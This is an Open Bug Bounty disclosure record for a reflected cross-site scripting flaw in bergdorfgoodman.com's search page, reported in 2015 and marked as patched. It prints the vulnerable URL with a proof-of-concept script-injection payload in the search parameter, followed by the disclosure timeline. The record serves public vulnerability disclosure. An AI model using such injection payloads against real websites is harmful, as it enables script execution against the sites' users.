Lucene search

K
openbugbountyDim0kOBB:88564
HistorySep 24, 2015 - 8:39 a.m.

bergdorfgoodman.com XSS vulnerability

2015-09-2408:39:00
dim0k
www.openbugbounty.org
8
Vulnerable URL:
http://www.bergdorfgoodman.com/search.jsp?N=0&Ntt;=x"-alert(/XSSPOSED/)-"x&_requestid=11100
Details:
Description Value
Patched: Yes, at 15.10.2015
Latest check for patch: 15.10.2015 09:21 GMT
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 14382
Google Pagerank 6
VIP website status: Yes
Check bergdorfgoodman.com SSL connection: (Grade: A-)
Coordinated Disclosure Timeline:
Description Value
Vulnerability reported 24 September, 2015 08:39 GMT
Vulnerability existence verified and confirmed 24 September, 2015 08:41 GMT